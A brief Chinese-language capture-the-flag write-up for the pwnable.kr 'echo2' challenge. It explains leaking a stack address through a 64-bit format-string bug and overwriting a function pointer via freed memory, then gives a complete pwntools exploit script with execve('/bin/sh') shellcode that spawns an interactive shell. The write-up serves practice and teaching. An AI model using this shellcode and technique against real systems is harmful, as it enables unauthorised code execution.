pwnable 之echo2

来源:互联网 发布:淘宝开店在哪里拿货 编辑:程序博客网 时间:2024/06/05 07:27

首先利用2中格式化漏洞输出地址然后用3中释放的内存更改函数指针

这次的程序是64位所以关于参数卡了好久

首先64位格式化字符串要有5个参数放在寄存器中所以第一个地址是第六个参数然后由于ebp地址16位所以不能用%x泄露地址要用%llx

(偏移计算方法为(ebp-esp)/8+1+5)

附上代码

from pwn import *
context(arch='amd64', os='linux', endian='little', word_size=64)
p=remote("pwnable.kr",9011)
shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56"\
    "\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"


p.sendline(shellcode)
print p.recvuntil('>')
p.sendline("2")
print p.recvuntil('\n')
p.sendline("%10$llx")
z=p.recv(16)
print z
addr=int(z,16)
print addr
p.recvuntil('>')
p.send('4' + '\n')
p.recvuntil(')')
p.send('n' + '\n')
p.recvuntil('>')
p.send('3' + '\n')
p.recvuntil('\n')
c=addr-0x20
p.sendline("a"*24+p64(c))
p.recvuntil('>')
p.sendline('2')
p.interactive()


原创粉丝点击